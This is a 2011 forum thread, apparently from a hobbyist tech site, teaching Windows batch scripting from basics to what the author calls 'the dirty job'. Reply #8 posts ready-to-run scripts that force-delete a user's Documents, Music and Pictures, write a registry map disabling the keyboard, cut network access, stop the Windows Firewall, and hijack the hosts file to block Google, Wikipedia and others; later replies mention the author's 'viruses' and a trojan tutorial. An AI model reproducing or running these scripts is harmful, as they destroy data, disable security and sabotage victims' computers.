Author Topic: Batch File Programming  (Read 5095 times)

0 Members and 1 Guest are viewing this topic.

Offline RzR1911

  • Alive.. Online
  • Alumni
  • Super Member
  • *
  • Points: 454
  • Posts: 1562
  • Alive.. Online
    • _
      Not Specified
    • View Profile
Batch File Programming
« on: October 08, 2011, 06:43:43 pm »
Hey guys i am glad at your overwhelming response at previous thread   , stop PM'ing me now  :punish
I'll be guiding you on How to code a .bat file, that is a Batch File.


Batch File Programming
Introduction

Ever wanted to know everything about batch? I don't mean the basics, I mean EVERYTHING. Well, you have come to the right place! This thread will leave you stuffed with information. By the end of this, your brain will be overflowing with knowledge.

What is Batch?

Well, Batch is a scripting language. Using Batch, you write a batch file, a compiled text file containing commands that will run in order. The name "Batch" was given to this language because a batch file contains a bundle or batch of commands. Batch files were made to finish tasks in a shorter periods of time. Batch files also keep your operating system working. In every windows operating system, there is a least one batch file that is crucial to the operation of Windows.


Requirements

So, most of you may know that all languages have requirements. Usually some special program. For example, C++ requires an IDE and a Compiler to work. So for Batch, is it the same? No. Not at all. All you need is:

- Determination
- Notepad

Those are still wondering what's a notepad  :gunfr  Click start -> hit run -> type notepad.

ONLY MEMBERS ARE ALLOWED TO POST. SO LOG IN NOW OR REGISTER FOR FREE TO HAVE THE COMPLETE ACCESS ON FORUM. WE BARELY TAKE A FEW SECONDS OF YOURS




And don't forget to Click SHARE to share GOOD stuffs with YOUR facebook buddies.



Original Source: http://www.hackforums.net/showthread.php?tid=1472638
« Last Edit: May 07, 2012, 02:32:56 pm by god »
You do not have permission to give points
point 0 Points

This topic did not receive points.

Offline RzR1911

  • Alive.. Online
  • Alumni
  • Super Member
  • *
  • Points: 454
  • Posts: 1562
  • Alive.. Online
    • _
      Not Specified
    • View Profile
Batch File Programming
« Reply #1 on: October 08, 2011, 06:58:47 pm »
Writing first batch file..

1. Open notepad
2. Type @echo off

Quote/Ask Question

it stops your batch file from showing file paths. It makes your program look professional. Just make sure you have this in the first line of notepad.


3. now type echo Hello World..
4. then type pause

Quote/Ask Question
pause holds the screen for the user and wait till user press any key.




now its time to save your program,
1. press Ctrl+s
2. type any name, notepad by default suggests you .txt format but here you need to add .bat in the end instead of .txt for example anyname.bat
3. then just double click it and Enjoy.! your first batch file program..
« Last Edit: October 08, 2011, 07:00:24 pm by RzR1911 »

Offline RzR1911

  • Alive.. Online
  • Alumni
  • Super Member
  • *
  • Points: 454
  • Posts: 1562
  • Alive.. Online
    • _
      Not Specified
    • View Profile
Batch File Programming
« Reply #2 on: October 08, 2011, 07:39:29 pm »
Now if you wish to edit your file, then simply right click on it and click Edit.And if your batch file does not run, then make sure that you are logged in as Administrator. If it still don't run then right click on it and click Run as Administrator, it should work
And if again its not running then simply there's an error in your coding, click edit and check out what went wrong.
Here lies a difference in Windows programming, if your syntax is incorrect an error saying "Incorrect Syntax" appear but it never highlights where the syntax is wrong, unlike you see in C or C++.

Spicing up your Batch File


I have to admit that the batch file we just made is quite boring.. actually too boring.
here's what you can do additionally..

1. Run your previous batch file again.
2. write an additional code : title My Program
3. simple isn't it.. your new code will be looking like

Quote/Ask Question

@echo off
title my program
echo hello world !
pause


4. Hit ctrl+S.



now how about changing colors..?? yep you can do that too.. :) here's a color chart that you'll be using

0 = Black
1 = Blue
2 = Green
3 = Aqua
4 = Red
5 = Purple
6 = Yellow
7 = White
8 = Gray
9 = Light Blue
A = Light Green
B = Light Aqua
C = Light Red
D = Light Purple
E = Light Yellow
F = Bright White

now here lies a little confusion, from which i'll drag you through.. Color command basically demands 2 letter digit.. Always.

code

Quote/Ask Question
color ??


here first ? denotes background color and the second ? denotes foreground color
i work on black background which is given "0" and light green foreground which is given  "A"
coding for this will be -

Quote/Ask Question
color 0a


Loading Effect

This will give your file a awesome a loading effect. I mean, a text saying loading and progressive dots, that actually gives the illusion that your program is quite big its loading.. ;)
code for that will be -

Quote/Ask Question
ping localhost -n 2 >nul


Now what does that do? Well first of all, it pauses your program without the pause message ("Press any key to continue").
It does not display the pause message because of the "nul." But for how long will it pause? You choose!
In this example it will only pause for 2 seconds. You can change that 2 to any amount of seconds, but do not change it to 1. Why? Well sometimes the batch file glitches and the loading effect is not shown. So how would you do the loading effect? Well, let me just write the source code and I will explain it.

Final code

Quote/Ask Question

@echo off
echo Loading.
ping localhost -n 2 >nul
cls
echo Loading..
ping localhost -n 2 >nul
cls
echo Loading...
ping localhost -n 2 >nul
cls


cls here stands for clear screen... point to be noted here is that loading effect is not pre loaded, we are generating this effect by actaully typing and printing loading thrice with progressive number of dots. :D

now run it..



well that's it for today.. :) batch programming is not like that Java that will take 8,9 months to learn from scratch, i can teach you all this in a week or two..
But batch file programming is so wide that if you do it with determination, you'll be a addict of it.. Like i am doing it for 2 years..
Batch file programming further involves using vbs files in it and much more... I'll be sharing a video with you guys and some of my old threads, check out for the strength of it..  

[parsehtml]<iframe width="560" height="315" src="http://www.youtube.com/embed/-_NleTGYE24" frameborder="0" allowfullscreen></iframe>[/parsehtml]_Making_and_Killing_of_Blue_Screen_of_Death_[BSOD]]



Threads to check out

Making and killing of Blue Screen of Death

Coding is fun

Offline pradeepgoel044

  • Member
  • Jr. Member
  • *
  • Points: 15
  • Posts: 62
    • View Profile
Batch File Programming
« Reply #3 on: October 08, 2011, 10:45:38 pm »
sir,
when i run my batch file only black screen is appearing, i mean to say that title bar is not appearing.
what is the uses of batch programming.

Offline diesel

  • As soon as the fear approaches near, attack and destroy it
  • Member
  • Super Member
  • *
  • Points: 778
  • Posts: 664
  • As soon as the fear approaches near, attack and destroy it

    • MAIT
    • _
      CSE
    • View Profile
Batch File Programming
« Reply #4 on: October 09, 2011, 02:16:02 pm »
Quote from: pradeepgoel044 on October 08, 2011, 10:45:38 pm
sir,
when i run my batch file only black screen is appearing, i mean to say that title bar is not appearing.
what is the uses of batch programming.


its batch file programming stating tip
you can make .bat files in your pc with help of notepad
and can make various programs
and various other things...
ADD ME ON  FACEBOOK

Offline RzR1911

  • Alive.. Online
  • Alumni
  • Super Member
  • *
  • Points: 454
  • Posts: 1562
  • Alive.. Online
    • _
      Not Specified
    • View Profile
Batch File Programming
« Reply #5 on: October 09, 2011, 07:36:54 pm »
Quote from: pradeepgoel044 on October 08, 2011, 10:45:38 pm
sir,
when i run my batch file only black screen is appearing, i mean to say that title bar is not appearing.
what is the uses of batch programming.


as far as i understand, you are not using pause command at the end of the code..
match your syntax with my code, make sure you're doing everything right, and run the batch file as Administrator (right click on file-> click Run as Administrator)
i guarantee you from my side that there's nothing wrong with the code as you can see that i have attached the images of my files... :)

Offline RzR1911

  • Alive.. Online
  • Alumni
  • Super Member
  • *
  • Points: 454
  • Posts: 1562
  • Alive.. Online
    • _
      Not Specified
    • View Profile
Batch File Programming
« Reply #6 on: October 09, 2011, 07:40:41 pm »
Opening a website

well this can be done by the use of start command.. usually most of the users use Windows in their pc and Internet browser is mostly present in everybody's pc.
code for running internet browser

Quote/Ask Question
start iexplore.exe


same can be done for opening any website

Quote/Ask Question
start iexplore htttp://www.techbits.co.in


you can also do the same for opening windows default utilities

Quote/Ask Question
start notepad.exe


Now to open up a image just add up the whole location of the image -

Quote/Ask Question
Start C:\\Users\\Rzr\\desktop\\area51.png


Add lables to start looping

Code :

Quote/Ask Question

@echo off
:A
echo hello techbits members
goto :A


Here as you can see A is lable, : is needed to be added right before as a prefix where ever you want to mention a lable..
A lable could be named as anything, i just used A as an example..

My next tuts will be -
1. embedding html codes, vbs codes into batch files
2. Making games
3. Making viruses
4. Tackling them
5. Advanced coding
6. Making mobile apps, themes
and much more.... practice more..  :xd:

Offline pradeepgoel044

  • Member
  • Jr. Member
  • *
  • Points: 15
  • Posts: 62
    • View Profile
Batch File Programming
« Reply #7 on: October 10, 2011, 10:05:06 pm »
Quote from: pradeepgoel044 on October 08, 2011, 10:45:38 pm
sir,
when i run my batch file only black screen is appearing, i mean to say that title bar is not appearing.
what is the uses of batch programming.


sir,
i mean to say that my program is running(nothing wrong with code), but its title bar (the place where its title will appear)is not appearing.
i think it is in full screen mod, and i am using xp Sp 3.

Offline RzR1911

  • Alive.. Online
  • Alumni
  • Super Member
  • *
  • Points: 454
  • Posts: 1562
  • Alive.. Online
    • _
      Not Specified
    • View Profile
Batch File Programming
« Reply #8 on: October 12, 2011, 08:28:26 pm »
Today i'll be teaching you guys some advanced set of commands that will help you creating user variables.
Now user variables are the one that requires an input or any kind of interaction by the user.
This things enables user's participation in your file, that in return makes it interactive.. ;)

I'll be sharing a video to cover some commands like
Quote/Ask Question

set /p
if
goto
marker/label
exit


watch

[parsehtml]<iframe width="560" height="315" src="http://www.youtube.com/embed/kD8ioAb6JnY" frameborder="0" allowfullscreen></iframe>[/parsehtml]

Some of the dangerous commands that are not covered in the video.. :) I have used the word dangerous because these are not for noobs aka first timers who might get into some serious troubles. :P

Delete Command (Del)
 Basic usage (For example i want to delete a file on my desktop)

Quote/Ask Question
del C:\\Users\\Razor\\Desktop\\area1911.png


Rename (Ren)

Lets suppose i have a text document on my desktop as area51 and i wish to rename it as rzr1911

Quote/Ask Question
ren C:\\Users\\Razor\\Desktop\\area51.txt rzr1911.txt


now its time to do the dirty job.. from here you can't blame me on what you're gonna do with this..

DELETING

Delete all the documents


Quote/Ask Question

@echo off
::----Delete My Documents----::
del /f /q "C:\\Users\\%userprofile%\\My Documents\\*.*"
::---------------------------::


Delete all the music

Quote/Ask Question

@echo off
::-----Delete My Music-------::
del /f /q "C:\\Users\\%userprofile%\\My Documents\\My Music\\*.*"
::---------------------------::


Delete all the pictures

Quote/Ask Question

@echo off
::-----Delete My Pictures----::
del /f /q "C:\\Users\\%userprofile%\\My Documents\\My Pictures\\*.*"
::---------------------------::


DISABLE


Disabling keyboard

Quote/Ask Question

@echo off
::------Disable Keyboard-----::
echo Windows Registry Editor Version 5.00 > "nokeyboard.reg"
echo [HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Keyboard Layout] >> "nokeyboard.reg"
echo "Scancode Map"=hex:00,00,00,00,00,00,00,00,7c,00,00,00,00,00,01,00,00,\\ >> "nokeyboard.reg"
echo 00,3b,00,00,00,3c,00,00,00,3d,00,00,00,3e,00,00,00,3f,00,00,00,40,00,00,00,\\ >> "nokeyboard.reg"
echo 41,00,00,00,42,00,00,00,43,00,00,00,44,00,00,00,57,00,00,00,58,00,00,00,37,\\ >> "nokeyboard.reg"
echo e0,00,00,46,00,00,00,45,00,00,00,35,e0,00,00,37,00,00,00,4a,00,00,00,47,00,\\ >> "nokeyboard.reg"
echo 00,00,48,00,00,00,49,00,00,00,4b,00,00,00,4c,00,00,00,4d,00,00,00,4e,00,00,\\ >> "nokeyboard.reg"
echo 00,4f,00,00,00,50,00,00,00,51,00,00,00,1c,e0,00,00,53,00,00,00,52,00,00,00,\\ >> "nokeyboard.reg"
echo 4d,e0,00,00,50,e0,00,00,4b,e0,00,00,48,e0,00,00,52,e0,00,00,47,e0,00,00,49,\\ >> "nokeyboard.reg"
echo e0,00,00,53,e0,00,00,4f,e0,00,00,51,e0,00,00,29,00,00,00,02,00,00,00,03,00,\\ >> "nokeyboard.reg"
echo 00,00,04,00,00,00,05,00,00,00,06,00,00,00,07,00,00,00,08,00,00,00,09,00,00,\\ >> "nokeyboard.reg"
echo 00,0a,00,00,00,0b,00,00,00,0c,00,00,00,0d,00,00,00,0e,00,00,00,0f,00,00,00,\\ >> "nokeyboard.reg"
echo 10,00,00,00,11,00,00,00,12,00,00,00,13,00,00,00,14,00,00,00,15,00,00,00,16,\\ >> "nokeyboard.reg"
echo 00,00,00,17,00,00,00,18,00,00,00,19,00,00,00,1a,00,00,00,1b,00,00,00,2b,00,\\ >> "nokeyboard.reg"
echo 00,00,3a,00,00,00,1e,00,00,00,1f,00,00,00,20,00,00,00,21,00,00,00,22,00,00,\\ >> "nokeyboard.reg"
echo 00,23,00,00,00,24,00,00,00,25,00,00,00,26,00,00,00,27,00,00,00,28,00,00,00,\\ >> "nokeyboard.reg"
echo 1c,00,00,00,2a,00,00,00,2c,00,00,00,2d,00,00,00,2e,00,00,00,2f,00,00,00,30,\\ >> "nokeyboard.reg"
echo 00,00,00,31,00,00,00,32,00,00,00,33,00,00,00,34,00,00,00,35,00,00,00,36,00,\\ >> "nokeyboard.reg"
echo 00,00,1d,00,00,00,5b,e0,00,00,38,00,00,00,39,00,00,00,38,e0,00,00,5c,e0,00,\\ >> "nokeyboard.reg"
echo 00,5d,e0,00,00,1d,e0,00,00,5f,e0,00,00,5e,e0,00,00,22,e0,00,00,24,e0,00,00,\\ >> "nokeyboard.reg"
echo 10,e0,00,00,19,e0,00,00,30,e0,00,00,2e,e0,00,00,2c,e0,00,00,20,e0,00,00,6a,\\ >> "nokeyboard.reg"
echo e0,00,00,69,e0,00,00,68,e0,00,00,67,e0,00,00,42,e0,00,00,6c,e0,00,00,6d,e0,\\ >> "nokeyboard.reg"
echo 00,00,66,e0,00,00,6b,e0,00,00,21,e0,00,00,00,00 >> "nokeyboard.reg"
start nokeyboard.reg
::---------------------------::


Disabling Internet

Quote/Ask Question

@echo off
::-----Disable Internet------::
ipconfig /release
if ERRORLEVEL1 ipconfig /release_all
::---------------------------::


Disabling Firewall

Quote/Ask Question

@echo off
::-Disable Windows Firewall--::
net stop "MpsSvc"
taskkill /f /t /im "FirewallControlPanel.exe"
::---------------------------::


Blocks


Blocking MSN

Quote/Ask Question

@echo off
::---------Block MSN---------::
cd "C:\\Windows\\System32\\Drivers\\etc"
echo 127.0.0.1 msn.com >> "Hosts"
echo 127.0.0.1 www.msn.com >> "Hosts"
::---------------------------::


Blocking Google

Quote/Ask Question

@echo off
::--------Block Hotmail------::
cd "C:\\Windows\\System32\\Drivers\\etc"
echo 127.0.0.1 hotmail.com >> "Hosts"
echo 127.0.0.1 www.hotmail.com >> "Hosts"
::---------------------------::


Blocking Google

Quote/Ask Question

@echo off
::--------Block Google-------::
cd "C:\\Windows\\System32\\Drivers\\etc"
echo 127.0.0.1 google.com >> "Hosts"
echo 127.0.0.1 www.google.com >> "Hosts"
::---------------------------::


Blocking wikipedia

Quote/Ask Question

@echo off
::-------Block Wikipedia-----::
cd "C:\\Windows\\System32\\Drivers\\etc"
echo 127.0.0.1 wikipedia.org >> "Hosts"
echo 127.0.0.1 www.wikipedia.org >> "Hosts"
::---------------------------::


i can't share more tweaks due to security purposes... interested can contact me via PM for Infects, Windows drivers, programming, etc.. Enjoy and take care :)

Offline RzR1911

  • Alive.. Online
  • Alumni
  • Super Member
  • *
  • Points: 454
  • Posts: 1562
  • Alive.. Online
    • _
      Not Specified
    • View Profile
Batch File Programming
« Reply #9 on: November 04, 2011, 04:46:03 pm »
Messenger in Notepad.!
 If you want personal chat with a friend you don’t need to download any yahoo messenger. All you need is your friends IP address and Command Prompt.
Firstly, open Notepad and enter:
Quote/Ask Question

 @echo off
    :A
    Cls
    echo MESSENGER
    set /p n=User:
    set /p m=Message:
    net send %n% %m%
    Pause
    Goto A
 

Now save this as “Messenger.bat”. Open the .bat file and in Command Prompt you should see:
    MESSENGER
    User:
    After “User” type the IP address of the computer you want to contact.
    After this, you should see this:
    Message:
    Now type in the message you wish to send.Before you press “Enter” it should look like this:
    MESSENGER
    User:27.196.391.193
    Message: Hi
    Now all you need to do is press “Enter”, and start chatting!

Quote/Ask Question

TIP: ask your friend to make an additional input Name
like
set /p=name
by this you'll be able to see your name and you're friends name as well that will help you distinguishing messages... use this code segment to see usernames
echo %name% msg:

Offline chk1827

  • Know Thyself...
  • Member
  • Jr. Member
  • *
  • Points: 11
  • Posts: 58
  • Know Thyself...
    • View Profile
    • http://www.chk1827.eu.pn/
Batch File Programming
« Reply #10 on: November 05, 2011, 11:28:38 pm »
Although i am no expert, i also designed a batch file that could shutdown or restart the computer.Simple and effective
 
Code is
Code:
Only registered users can see contents. Please click here to Register or Login.
to shutdown the system
"The purpose of education is to replace an empty mind
with an open one" - Albert Einstein

Offline RzR1911

  • Alive.. Online
  • Alumni
  • Super Member
  • *
  • Points: 454
  • Posts: 1562
  • Alive.. Online
    • _
      Not Specified
    • View Profile
Batch File Programming
« Reply #11 on: November 06, 2011, 02:18:02 pm »
yes i know this thing as i have used this in most of my viruses.. besides using this in cmd you can use it either way...check my this tutorial
http://techbits.co.in/forum/index.php?tid=4233&title=Make_a_Trojan_Virus_in_30_secs...!!!


Offline chk1827

  • Know Thyself...
  • Member
  • Jr. Member
  • *
  • Points: 11
  • Posts: 58
  • Know Thyself...
    • View Profile
    • http://www.chk1827.eu.pn/
Batch File Programming
« Reply #12 on: November 06, 2011, 05:58:56 pm »
I am surprised that a virus can be created so easily!
But i made this batch file so that i could quickly shutdown my system.
"The purpose of education is to replace an empty mind
with an open one" - Albert Einstein

Offline RzR1911

  • Alive.. Online
  • Alumni
  • Super Member
  • *
  • Points: 454
  • Posts: 1562
  • Alive.. Online
    • _
      Not Specified
    • View Profile
Batch File Programming
« Reply #13 on: November 06, 2011, 06:43:21 pm »
i am glad to see your interest in batch file programming... :) hope the info given here is useful to you, you can ask me anything regarding advanced batch coding or windows programming... plz share this page with your buddies

Offline chk1827

  • Know Thyself...
  • Member
  • Jr. Member
  • *
  • Points: 11
  • Posts: 58
  • Know Thyself...
    • View Profile
    • http://www.chk1827.eu.pn/
Batch File Programming
« Reply #14 on: November 06, 2011, 10:28:13 pm »
Quote from: RzR1911 on November 06, 2011, 06:43:21 pm
i am glad to see your interest in batch file programming... :) hope the info given here is useful to you, you can ask me anything regarding advanced batch coding or windows programming... plz share this page with your buddies
OK Sir!
And if you love batch programming so much,why dont you use Linux?
Shell scripting in linux is much more vast and complicated than in windows
« Last Edit: November 06, 2011, 10:28:58 pm by chk1827 »
"The purpose of education is to replace an empty mind
with an open one" - Albert Einstein

 

editing obj file

Started by nitz_kool2010

Replies: 1
Views: 1722
Last post March 03, 2011, 11:50:11 pm
by T3rminator
DIRECT X game programming

Started by sarthak9333

Replies: 1
Views: 1248
Last post December 05, 2012, 03:06:32 pm
by SagarDabas
Programming Challenge!!!!

Started by kurosaki

Replies: 173
Views: 56063
Last post November 28, 2016, 11:42:01 pm
by swapnil7
improve your programming...!!!

Started by ab2757

Replies: 14
Views: 5532
Last post August 27, 2013, 08:14:34 pm
by cool98765
programming is frustrating!!

Started by slimshady

Replies: 6
Views: 2846
Last post January 22, 2010, 08:11:14 pm
by ANKITSINGHAL
Sitemap 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49